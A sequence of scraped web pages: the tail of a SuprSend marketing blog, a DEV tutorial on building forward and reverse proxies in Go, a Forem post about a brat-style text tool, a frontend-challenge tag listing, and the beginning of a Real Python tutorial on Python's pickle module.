visibility down to the user level. Retry & Error Handling Ensure critical alerts never get lost or delayed. Automatic retries, fallback routing, and digesting to reduce noise while maintaining reliability. Developer Integrations Enable fast integration and continuous evolution without rewrites. SDKs for Node, Python, Java, React, Flutter, with CI/CD, staging isolation, and webhooks. Why Startups Choose SuprSend 1. Speed to Market Ship notifications in days, not months. 👉 Example: A financial reporting startup launched a complete notification system in 2 weeks using SuprSend’s APIs. 2. Reliability at Scale Never miss critical messages. 👉 Example: Teachmint boosted user engagement 2× by centralizing multi-channel notifications and adding in-app inboxes. 3. Consistency and Branding Deliver branded, white-labeled notifications automatically. 👉 Example: Freightify used SuprSend’s multi-tenant architecture to send personalized notifications per customer brand, saving 600+ dev hours. 4. Cost Efficiency Batch, digest, and route smartly, reduce cost per message. Startups using SuprSend’s smart routing save up to 30% on notification costs while improving engagement rates by 20%. 5. Developer-First Foundation A clean API layer with full observability, version control, and automated deployment. Your product team can design, your engineers can debug instantly, and your users get seamless experiences. Real Results Across Startups Company Industry Outcome Evocalize SaaS (Marketing) Achieved +27% repeat purchases via engagement notifications powered by SuprSend. Delightree Franchise SaaS 2× engagement among franchise owners and frontline workers with multi-channel delivery. Solar Informatics CleanTech Reduced time-to-live for notifications by 75% through SuprSend’s multi-tenant architecture. Refrens Freelance Network Increased notification engagement by 144% using SuprSend’s in-app inbox and batching logic. eShipz Logistics SaaS Cut customer onboarding time by 3 weeks with unified templates and smart vendor routing. Perfect for Early-Stage to Scale-Up SuprSend grows with you: Free tier: 10k notifications/month Essentials plan: For scaling teams ($100/mo) Business & Enterprise: With batching, preferences, and multi-tenant data modeling Startups like Topmate built creator campaigns and funnels directly inside their product using SuprSend workflows: proof that it’s not just infrastructure, it’s leverage. In Short For startups, notification management is not just about sending messages - it’s about building trust, reducing noise, and scaling communication intelligently. SuprSend is the developer-first notification platform that helps you: Launch fast Stay reliable Scale cleanly Build your complete notification layer once then never worry about it again. 👉 Start for free at suprsend.com Share this blog on: Written by: Nikita Navral Co-Founder, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Jones Charles Posted on Jan 12 Build Network Proxies and Reverse Proxies in Go: A Hands-On Guide # go # webdev # networking # programming Build Network Proxies and Reverse Proxies in Go: A Hands-On Guide Hey Dev.to community! 👋 If you’re a Go developer looking to level up your networking skills, proxies are a fantastic way to dive into real-world network programming. Whether you’re hiding client identities with a forward proxy or load-balancing microservices with a reverse proxy, Go’s concurrency and standard library make it a joy to build these tools. This guide is for developers with 1–2 years of Go experience, familiar with HTTP and basic networking. We’ll walk through practical code, share battle-tested tips, and avoid common pitfalls—perfect for your next project or portfolio piece! Why Go for Proxies? Go is a powerhouse for network programming: Standard Library : The net/http package handles HTTP like a champ. Concurrency : Goroutines make managing thousands of requests a breeze. Deployment : Single-binary output simplifies shipping to any platform. Feature Why It Rocks for Proxies net/http Package Streamlines HTTP request/response handling Goroutines Scales effortlessly for concurrent requests Single Binary Deploy anywhere with zero hassle What You’ll Learn : The difference between forward and reverse proxies. How to build both in Go with clear, production-ready code. Optimization tricks and real-world lessons from my 10 years of Go experience. Let’s dive in! Network Proxies vs. Reverse Proxies: The Basics Before we code, let’s clarify what proxies do. They’re middlemen in network communication, but their roles differ. Forward Proxy: Your Client’s Advocate A forward proxy sits between a client (like your browser) and the internet, fetching resources on the client’s behalf. Think of it as a personal assistant who grabs your coffee order without revealing you’re the one asking. How It Works : Client → Proxy → Server → Proxy → Client Use Cases : Anonymity (VPNs), content filtering, caching Go’s Edge : http.Client simplifies forwarding; Goroutines handle concurrent clients. Reverse Proxy: The Server’s Gatekeeper A reverse proxy sits in front of backend servers, routing client requests and shielding the backend. It’s like a restaurant host who directs your order to the right chef. How It Works : Client → Reverse Proxy → Backend → Reverse Proxy → Client Use Cases : Load balancing (Nginx), security, API gateways Go’s Edge : httputil.ReverseProxy makes routing a snap; Goroutines scale traffic. Forward vs. Reverse: Quick Comparison Feature Forward Proxy Reverse Proxy Role Serves clients Serves backends Control Client-configured Server-managed Purpose Hides client identity Hides backend details Go Tools http.Client httputil.ReverseProxy Segment 2: Building a Forward Proxy in Go Let’s get hands-on with a simple HTTP forward proxy. This code forwards client requests to any target server and returns the response. Perfect for anonymity or caching! Simple Forward Proxy in Go package main import ( "io" "log" "net/http" ) func handleProxy ( w http . ResponseWriter , r * http . Request ) { client := & http . Client {} req , err := http . NewRequest ( r . Method , r . URL . String (), r . Body ) if err != nil { http . Error ( w , "Bad Request" , http . StatusBadRequest ) return } // Copy request headers for k , v := range r . Header { req . Header [ k ] = v } // Forward request resp , err := client . Do ( req ) if err != nil { http . Error ( w , "Server Error" , http . StatusInternalServerError ) return } defer resp . Body . Close () // Copy response headers and status for k , v := range resp . Header { w . Header ()[ k ] = v } w . WriteHeader ( resp . StatusCode ) io . Copy ( w , resp . Body ) } func main () { http . HandleFunc ( "/" , handleProxy ) log . Fatal ( http . ListenAndServe ( ":8080" , nil )) } Enter fullscreen mode Exit fullscreen mode Run It : Save as proxy.go . Run go run proxy.go . Test with curl -x http://localhost:8080 http://example.com . What’s Happening : http.Client sends the client’s request to the target. Headers and body are copied to preserve the request. io.Copy streams the response efficiently. defer resp.Body.Close() prevents memory leaks. Pro Tip : Always close resp.Body to avoid file descriptor leaks—a lesson I learned after a production crash! Optimization Tricks In a real-world content-filtering proxy, I boosted performance with these tweaks: Connection Pooling : client := & http . Client { Transport : & http . Transport { MaxIdleConns : 100 , IdleConnTimeout : 90 * time . Second , TLSHandshakeTimeout : 10 * time . Second , }, Timeout : 30 * time . Second , } Enter fullscreen mode Exit fullscreen mode This cut latency from 200ms to 50ms by reusing connections. Pitfall Fix : Set MaxIdleConnsPerHost to limit per-host connections, avoiding excessive TCP handshakes. Segment 3: Building a Reverse Proxy in Go Now, let’s build a reverse proxy with round-robin load balancing to distribute requests across multiple backends. Ideal for microservices or high-traffic apps! Simple Reverse Proxy with Round-Robin package main import ( "log" "net/http" "net/http/httputil" "net/url" "sync/atomic" ) type ReverseProxy struct { backends [] * url . URL current uint64 } func NewReverseProxy ( backendURLs [] string ) * ReverseProxy { urls := make ([] * url . URL , len ( backendURLs )) for i , u := range backendURLs { parsedURL , err := url . Parse ( u ) if err != nil { log . Fatalf ( "Invalid URL: %v" , err ) } urls [ i ] = parsedURL } return & ReverseProxy { backends : urls } } func ( p * ReverseProxy ) ServeHTTP ( w http . ResponseWriter , r * http . Request ) { index := atomic . AddUint64 ( & p . current , 1 ) % uint64 ( len ( p . backends )) proxy := httputil . NewSingleHostReverseProxy ( p . backends [ index ]) proxy . ServeHTTP ( w , r ) } func main () { backends := [] string { "http://localhost:8081" , "http://localhost:8082" } proxy := NewReverseProxy ( backends ) log . Fatal ( http . ListenAndServe ( ":8080" , proxy )) } Enter fullscreen mode Exit fullscreen mode Run It : Save as reverse_proxy.go . Run mock backends on ports 8081 and 8082 (e.g., simple Go HTTP servers). Run go run reverse_proxy.go . Test with curl http://localhost:8080 . What’s Happening : httputil.ReverseProxy handles request forwarding. atomic.AddUint64 ensures thread-safe round-robin selection. Requests alternate between backends. Pro Tip : Use http.Transport for connection reuse: proxy . Transport = & http . Transport { MaxIdleConns : 100 , MaxIdleConnsPerHost : 10 , } Enter fullscreen mode Exit fullscreen mode Real-World Insights In a microservices API gateway, I learned: Health Checks : Poll backends to skip unhealthy ones: func ( p * ReverseProxy ) healthCheck () { for { for _ , backend := range p . backends { resp , err := http . Get ( backend . String () + "/health" ) // Update backend status if resp != nil { resp . Body . Close () } } time . Sleep ( 10 * time . Second ) } } Enter fullscreen mode Exit fullscreen mode Pitfall Fix : Set ResponseHeaderTimeout to avoid slow backend delays. Segment 4: Advanced Features and Best Practices Let’s level up with advanced features like concurrency, security, and monitoring, plus best practices to make your proxy production-ready. Advanced Features High Concurrency Go’s Goroutines shine here. Each request runs in its own lightweight thread, handling thousands of connections with minimal memory. For dynamic backends, use a thread-safe manager: type BackendManager struct { backends [] * url . URL mu sync . RWMutex } func ( m * BackendManager ) UpdateBackends ( newBackends [] string ) { m . mu . Lock () defer m . mu . Unlock () urls := make ([] * url . URL , len ( newBackends )) for i , u := range newBackends { urls [ i ], _ = url . Parse ( u ) } m . backends = urls } Enter fullscreen mode Exit fullscreen mode Insight : Pair with Consul for zero-downtime backend updates in Kubernetes. Security TLS : Use http.ListenAndServeTLS with Let’s Encrypt via golang.org/x/crypto/acme/autocert . Rate Limiting : Mitigate DDoS with golang.org/x/time/rate : limiter := rate . NewLimiter ( 10 , 50 ) // 10 reqs/sec, 50 burst if ! limiter . Allow () { http . Error ( w , "Rate Limit Exceeded" , http . StatusTooManyRequests ) return } Enter fullscreen mode Exit fullscreen mode Monitoring Profiling : Enable net/http/pprof on :6060 for CPU/memory insights. Metrics : Use prometheus/client_golang for Prometheus/Grafana dashboards. Pitfall Fix : Missing metrics made debugging a nightmare. Deploy Prometheus to track http_requests_total . Best Practices Timeouts : Set http.Client and http.Transport timeouts to prevent hangs. Logging : Use go.uber.org/zap for structured, performant logs. Deployment : Containerize with Docker: FROM golang:1.21 WORKDIR /app COPY . . RUN go build -o proxy CMD ["./proxy"] Enter fullscreen mode Exit fullscreen mode Insight : Nginx + Go for SSL termination boosted performance by 20%. Segment 5: Real-World Use Cases and Call to Action Real-World Use Cases API Gateway Route requests to microservices with authentication: mux := http . NewServeMux () mux . Handle ( "/users/" , httputil . NewSingleHostReverseProxy ( userService )) mux . Handle ( "/orders/" , httputil . NewSingleHostReverseProxy ( orderService )) Enter fullscreen mode Exit fullscreen mode Tip : Use http.StripPrefix to avoid routing conflicts. Load Balancer Use consistent hashing ( github.com/stathat/consistent ) for better cache hits and dynamic health checks. Caching Proxy Cache static content with sync.Map and TTL: type CacheEntry struct { Data [] byte ExpiresAt time . Time } p . cache . Store ( key , CacheEntry { Data : data , ExpiresAt : time . Now () . Add ( 5 * time . Minute )}) Enter fullscreen mode Exit fullscreen mode Insight : This boosted cache hit rates from 60% to 85%. Key Takeaways Go’s net/http and httputil make proxy development straightforward. Goroutines and connection pooling handle high traffic with ease. Optimizations like health checks and TLS ensure reliability. Call to Action Build your own proxy! Try: A TLS-enabled forward proxy with Let’s Encrypt. A reverse proxy with Prometheus monitoring. Share your projects in the comments—I’d love to see what you create! Have questions or hit a snag? Drop a comment, and let’s debug together. 🚀 Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Jones Charles Follow go dev Joined Dec 17, 2024 More from Jones Charles Building a Lightweight RPC Framework in Go: A Hands-On Guide # go # webdev # programming # networking Building Microservices with gRPC and Go: A Hands-On Guide # go # networking # webdev # programming Build a Real-Time Chatroom with WebSocket and Go 🚀 # go # webdev # programming # networking 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://design.forem.com/john_smith_f87cb3ddff9956/make-brat-style-text-online-30b6 | Make Brat Style Text Online - Design Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Design Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse john smith Posted on Nov 1, 2025 Make Brat Style Text Online # typography # sideprojects # designtrends # tools Hi everyone 👋 I made a fun little tool called aBratGenerator . It helps you make cool and bold “brat style” text designs right in your browser. You can type any words you want, change the colors, pick fonts, and add effects. Then you can download your design and share it anywhere. I built it just for fun because I saw many people love the brat trend but had no easy way to make it themselves. Try it here 👉 https://abratgenerator.com/ Hope you enjoy it. Let me know what you make with it 💚 Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse john smith Follow I love to explore new ideas Joined Nov 1, 2025 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Design Community — Web design, graphic design and everything in-between Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Design Community © 2016 - 2026. We're a place where designers share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:49:27 |
https://forem.com/t/frontendchallenge | DEV's Frontend Challenge - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DEV's Frontend Challenge Follow Hide This is the official tag for submissions and announcements related to the community Frontend Challenge. Create Post Older #frontendchallenge posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu 🚀 New React Challenge: Tetris Duffman Duffman Duffman Follow Jan 8 🚀 New React Challenge: Tetris # react # javascript # frontend # frontendchallenge 2 reactions Comments Add Comment 1 min read 𝗧𝗵𝗲 𝗨𝗻𝗱𝗲𝗿𝗿𝗮𝘁𝗲𝗱 𝗣𝗼𝘄𝗲𝗿 𝗼𝗳 𝗖𝗼𝗻𝘀𝗶𝘀𝘁𝗲𝗻𝗰𝘆 𝗶𝗻 𝗖𝗼𝗱𝗶𝗻𝗴 Muhammad Umair Arshad Muhammad Umair Arshad Muhammad Umair Arshad Follow Dec 30 '25 𝗧𝗵𝗲 𝗨𝗻𝗱𝗲𝗿𝗿𝗮𝘁𝗲𝗱 𝗣𝗼𝘄𝗲𝗿 𝗼𝗳 𝗖𝗼𝗻𝘀𝗶𝘀𝘁𝗲𝗻𝗰𝘆 𝗶𝗻 𝗖𝗼𝗱𝗶𝗻𝗴 # frontendchallenge # webdev # programming # productivity 1 reaction Comments Add Comment 1 min read What Did 2025 Bring Us, and What Trends Lie Ahead? OneEntry OneEntry OneEntry Follow Dec 25 '25 What Did 2025 Bring Us, and What Trends Lie Ahead? # productivity # webdev # frontendchallenge # backend Comments Add Comment 5 min read New Free React Challenge: Countdown ⏱️ Duffman Duffman Duffman Follow Dec 22 '25 New Free React Challenge: Countdown ⏱️ # react # javascript # frontend # frontendchallenge Comments Add Comment 1 min read 🚀 New React Challenge: Build a Timed Quiz Duffman Duffman Duffman Follow Dec 19 '25 🚀 New React Challenge: Build a Timed Quiz # react # javascript # frontend # frontendchallenge Comments Add Comment 1 min read The Complete Guide to Frontend Architecture Patterns in 2026 sizan mahmud0 sizan mahmud0 sizan mahmud0 Follow Jan 4 The Complete Guide to Frontend Architecture Patterns in 2026 # frontend # programming # javascript # frontendchallenge 3 reactions Comments Add Comment 5 min read 🚀 New Challenge: Color Game Duffman Duffman Duffman Follow Dec 5 '25 🚀 New Challenge: Color Game # react # frontendchallenge # frontend # devchallenge Comments Add Comment 1 min read 🎮 7 React Game Challenges You Should Try This Month Duffman Duffman Duffman Follow Dec 9 '25 🎮 7 React Game Challenges You Should Try This Month # react # devchallenge # frontend # frontendchallenge 1 reaction Comments Add Comment 2 min read Congrats to the Frontend Challenge: Halloween Edition Winners! Jess Lee Jess Lee Jess Lee Follow for The DEV Team Dec 18 '25 Congrats to the Frontend Challenge: Halloween Edition Winners! # devchallenge # frontendchallenge # css # javascript 40 reactions Comments 14 comments 2 min read 🚀 New React Challenge: Phone Input Component Duffman Duffman Duffman Follow Dec 2 '25 🚀 New React Challenge: Phone Input Component # frontendchallenge # react # devchallenge # webdev 1 reaction Comments Add Comment 1 min read 2026 Front End Roadmap: 100% Free Resources to Get Hired Harish A Harish A Harish A Follow for CodersNote Dec 11 '25 2026 Front End Roadmap: 100% Free Resources to Get Hired # html # javascript # frontendchallenge # programming 2 reactions Comments Add Comment 7 min read 7 Free React Challenges You Should Complete Before a Frontend Interview Duffman Duffman Duffman Follow Dec 3 '25 7 Free React Challenges You Should Complete Before a Frontend Interview # react # frontendchallenge # frontend # devchallenge 1 reaction Comments Add Comment 2 min read Angular Data Handling: When to use `| async` and when to `.subscribe()` manually Habibur Rahman Habibur Rahman Habibur Rahman Follow Nov 19 '25 Angular Data Handling: When to use `| async` and when to `.subscribe()` manually # angular # rxjs # frontendchallenge # webdev 1 reaction Comments 2 comments 1 min read 🚀 New React Challenge: How Many Days Old Are You? Duffman Duffman Duffman Follow Nov 21 '25 🚀 New React Challenge: How Many Days Old Are You? # react # devchallenge # frontendchallenge # frontend 1 reaction Comments Add Comment 1 min read 🚀 New FREE Beginner Challenge: Build an Animated Equalizer in React Duffman Duffman Duffman Follow Nov 19 '25 🚀 New FREE Beginner Challenge: Build an Animated Equalizer in React # webdev # react # devchallenge # frontendchallenge 1 reaction Comments Add Comment 1 min read Step Into Mystic Falls: A Halloween Story Telling Game Amelia Dutta Amelia Dutta Amelia Dutta Follow Nov 10 '25 Step Into Mystic Falls: A Halloween Story Telling Game # devchallenge # frontendchallenge # webdev # javascript 22 reactions Comments 4 comments 2 min read 🎃 Halloween Party 2025: A Responsive Halloween Landing Page for the Dev.to Frontend Challenge 👻 Frontend Challenge Perfect Landing Submission 🦇🎃 Hadil Ben Abdallah Hadil Ben Abdallah Hadil Ben Abdallah Follow Oct 30 '25 🎃 Halloween Party 2025: A Responsive Halloween Landing Page for the Dev.to Frontend Challenge 👻 # devchallenge # frontendchallenge # webdev # javascript 95 reactions Comments 52 comments 3 min read CSS HALLOWEEN ART - by STEFAN DONOSA Frontend Challenge CSS Art Submission 🦇🎃 Ștefan Donosă Ștefan Donosă Ștefan Donosă Follow Nov 9 '25 CSS HALLOWEEN ART - by STEFAN DONOSA # frontendchallenge # devchallenge # css 17 reactions Comments 3 comments 3 min read The CarnEvil of Horrors Frontend Challenge Perfect Landing Submission 🦇🎃 Wil McGill Wil McGill Wil McGill Follow Nov 7 '25 The CarnEvil of Horrors # devchallenge # frontendchallenge # webdev # javascript 19 reactions Comments 2 comments 2 min read Perfect Landing: The One Halloween Page Frontend Challenge Perfect Landing Submission 🦇🎃 Katerina Proshkina Katerina Proshkina Katerina Proshkina Follow Nov 10 '25 Perfect Landing: The One Halloween Page # devchallenge # frontendchallenge # webdev # javascript 12 reactions Comments Add Comment 1 min read 🎃 GhoulEats - A Spooky Restaurant Experience Frontend Challenge Perfect Landing Submission 🦇🎃 Dipanshu Sahu Dipanshu Sahu Dipanshu Sahu Follow Nov 9 '25 🎃 GhoulEats - A Spooky Restaurant Experience # devchallenge # frontendchallenge # webdev # javascript 9 reactions Comments Add Comment 2 min read Trick or Treat: A Spooky CSS Diorama with a Few... Surprises Frontend Challenge CSS Art Submission 🦇🎃 Reza Purnama Reza Purnama Reza Purnama Follow Nov 9 '25 Trick or Treat: A Spooky CSS Diorama with a Few... Surprises # frontendchallenge # devchallenge # css 11 reactions Comments 1 comment 3 min read My Spooky Halloween Landing Page Frontend Challenge Perfect Landing Submission 🦇🎃 rahul patwa rahul patwa rahul patwa Follow Nov 9 '25 My Spooky Halloween Landing Page # devchallenge # frontendchallenge # webdev # javascript 7 reactions Comments Add Comment 2 min read Moonlit Halloween: A CSS-Only Jack-o’-Lantern Under the Night Sky Frontend Challenge CSS Art Submission 🦇🎃 Sooraj (PS) Sooraj (PS) Sooraj (PS) Follow Nov 8 '25 Moonlit Halloween: A CSS-Only Jack-o’-Lantern Under the Night Sky # frontendchallenge # devchallenge # css 18 reactions Comments 1 comment 2 min read Project Phantom: The 6D Halloween Metaverse Experience Frontend Challenge Perfect Landing Submission 🦇🎃 aviral srivastava aviral srivastava aviral srivastava Follow Nov 9 '25 Project Phantom: The 6D Halloween Metaverse Experience # frontendchallenge # webgl # threejs # gsap 11 reactions Comments Add Comment 3 min read loading... trending guides/resources Congrats to the Frontend Challenge: Halloween Edition Winners! Step Into Mystic Falls: A Halloween Story Telling Game The Complete Guide to Frontend Architecture Patterns in 2026 CSS Nightmares: Building a Haunted Scene That Actually Creeped Me Out Halloween Night Scene - A Spooky CSS Art “Night of Code & Vibes”: My Techy Halloween Landing Page Angular Data Handling: When to use `| async` and when to `.subscribe()` manually Moonlit Halloween: A CSS-Only Jack-o’-Lantern Under the Night Sky 🚀 New FREE Beginner Challenge: Build an Animated Equalizer in React 🎃 Halloween Edition 🎃 🎮 7 React Game Challenges You Should Try This Month Celebrating All Hallow's Eve 🏚️ CSS Art: Haunted House with Parallax Layers Pure CSS Pumpkin Patch - Sanjay Naker CSS HALLOWEEN ART - by STEFAN DONOSA Nightmare Realm 2025 🚀 New React Challenge: Phone Input Component 🦇 Spooky Portal - Halloween CSS Art 🌙✨ 🎃 Halloween Party 2025: A Responsive Halloween Landing Page for the Dev.to Frontend Challenge 👻 Witch POTIONS 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://realpython.com/python-pickle-module/ | The Python pickle Module: How to Persist Objects in Python – Real Python Start Here Learn Python Python Tutorials → In-depth articles and video courses Learning Paths → Guided study plans for accelerated learning Quizzes & Exercises → Check your learning progress Browse Topics → Focus on a specific area or skill level Community Chat → Learn with other Pythonistas Office Hours → Live Q&A calls with Python experts Podcast → Hear what’s new in the world of Python Books → Round out your knowledge and learn offline Reference → Concise definitions for common Python terms Code Mentor → Beta Personalized code assistance & learning tools Unlock All Content → More Learner Stories Python Newsletter Python Job Board Meet the Team Become a Tutorial Writer Become a Video Instructor Search / Join Sign‑In — FREE Email Series — 🐍 Python Tricks 💌 Get Python Tricks » 🔒 No spam. Unsubscribe any time. Browse Topics Guided Learning Paths Basics Intermediate Advanced ai algorithms api best-practices career community databases data-science data-structures data-viz devops django docker editors flask front-end gamedev gui machine-learning news numpy projects python stdlib testing tools web-dev web-scraping Table of Contents Serialization in Python Inside the Python pickle Module Protocol Formats of the Python pickle Module Picklable and Unpicklable Types Compression of Pickled Objects Security Concerns With the Python pickle Module Conclusion Mark as Completed Share Recommended Video Course Serializing Objects With the Python pickle Module The Python pickle Module: How to Persist Objects in Python by Davide Mastromatteo Reading time estimate 16m intermediate python Mark as Completed Share Table of Contents Serialization in Python Inside the Python pickle Module Protocol Formats of the Python pickle Module Picklable and Unpicklable Types Compression of Pickled Objects Security Concerns With the Python pickle Module Conclusion Remove ads Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Serializing Objects With the Python pickle Module As a developer, you may sometimes need to send complex object hierarchies over a network or save the internal state of your objects to a disk or database for later use. To accomplish this, you can use a process called serialization , which is fully supported by the standard library thanks to the Python pickle module. In this tutorial, you’ll learn: What it means to serialize and deserialize an object Which modules you can use to serialize objects in Python Which kinds of objects can be serialized with the Python pickle module How to use the Python pickle module to serialize object hierarchies What the risks are when deserializing an object from an untrusted source Let’s get pickling! Free Bonus: 5 Thoughts On Python Mastery , a free course for Python developers that shows you the roadmap and the mindset you’ll need to take your Python skills to the next level. Serialization in Python The serialization process is a way to convert a data structure into a linear form that can be stored or transmitted over a network. In Python, serialization allows you to take a complex object structure and transform it into a stream of bytes that can be saved to a disk or sent over a network. You may also see this process referred to as marshalling . The reverse process, which takes a stream of bytes and converts it back into a data structure, is called deserialization or unmarshalling . Serialization can be used in a lot of different situations. One of the most common uses is saving the state of a neural network after the training phase so that you can use it later without having to redo the training. Python offers three different modules in the standard library that allow you to serialize and deserialize objects: The marshal module The json module The pickle module In addition, Python supports XML , which you can also use to serialize objects. The marshal module is the oldest of the three listed above. It exists mainly to read and write the compiled bytecode of Python modules, or the .pyc files you get when the interpreter imports a Python module. So, even though you can use marshal to serialize some of your objects, it’s not recommended. The json module is the newest of the three. It allows you to work with standard JSON files. JSON is a very convenient and widely used format for data exchange. There are several reasons to choose the JSON format : It’s human readable and language independent , and it’s lighter than XML. With the json module, you can serialize and deserialize several standard Python types: bool dict int float list string tuple None The Python pickle module is another way to serialize and deserialize objects in Python. It differs from the json module in that it serializes objects in a binary format, which means the result is not human readable. However, it’s also faster and it works with many more Python types right out of the box, including your custom-defined objects. Note: From now on, you’ll see the terms pickling and unpickling used to refer to serializing and deserializing with the Python pickle module. So, you have several different ways to serialize and deserialize objects in Python. But which one should you use? The short answer is that there’s no one-size-fits-all solution. It all depends on your use case. Here are three general guidelines for deciding which approach to use: Don’t use the marshal module. It’s used mainly by the interpreter, and the official documentation warns that the Python maintainers may modify the format in backward-incompatible ways. The json module and XML are good choices if you need interoperability with different languages or a human-readable format. The Python pickle module is a better choice for all the remaining use cases. If you don’t need a human-readable format or a standard interoperable format, or if you need to serialize custom objects, then go with pickle . Remove ads Inside the Python pickle Module The Python pickle module basically consists of four methods: pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None) pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None) pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None) pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None) The first two methods are used during the pickling process, and the other two are used during unpickling. The only difference between dump() and dumps() is that the first creates a file containing the serialization result, whereas the second returns a string. To differentiate dumps() from dump() , it’s helpful to remember that the s at the end of the function name stands for string . The same concept also applies to load() and loads() : The first one reads a file to start the unpickling process, and the second one operates on a string. Consider the following example. Say you have a custom-defined class named example_class with several different attributes, each of a different type: a_number a_string a_dictionary a_list a_tuple The example below shows how you can instantiate the class and pickle the instance to get a plain string. After pickling the class, you can change the value of its attributes without affecting the pickled string. You can then unpickle the pickled string in another variable , restoring an exact copy of the previously pickled class: Python # pickling.py import pickle class example_class : a_number = 35 a_string = "hey" a_list = [ 1 , 2 , 3 ] a_dict = { "first" : "a" , "second" : 2 , "third" : [ 1 , 2 , 3 ]} a_tuple = ( 22 , 23 ) my_object = example_class () my_pickled_object = pickle . dumps ( my_object ) # Pickling the object print ( f "This is my pickled object: \n { my_pickled_object } \n " ) my_object . a_dict = None my_unpickled_object = pickle . loads ( my_pickled_object ) # Unpickling the object print ( f "This is a_dict of the unpickled object: \n { my_unpickled_object . a_dict } \n " ) In the example above, you create several different objects and serialize them with pickle . This produces a single string with the serialized result: Shell $ python pickling.py This is my pickled object: b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.' This is a_dict of the unpickled object: {'first': 'a', 'second': 2, 'third': [1, 2, 3]} The pickling process ends correctly, storing your entire instance in this string: b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.' After the pickling process ends, you modify your original object by setting the attribute a_dict to None . Finally, you unpickle the string to a completely new instance. What you get is a deep copy of your original object structure from the time that the 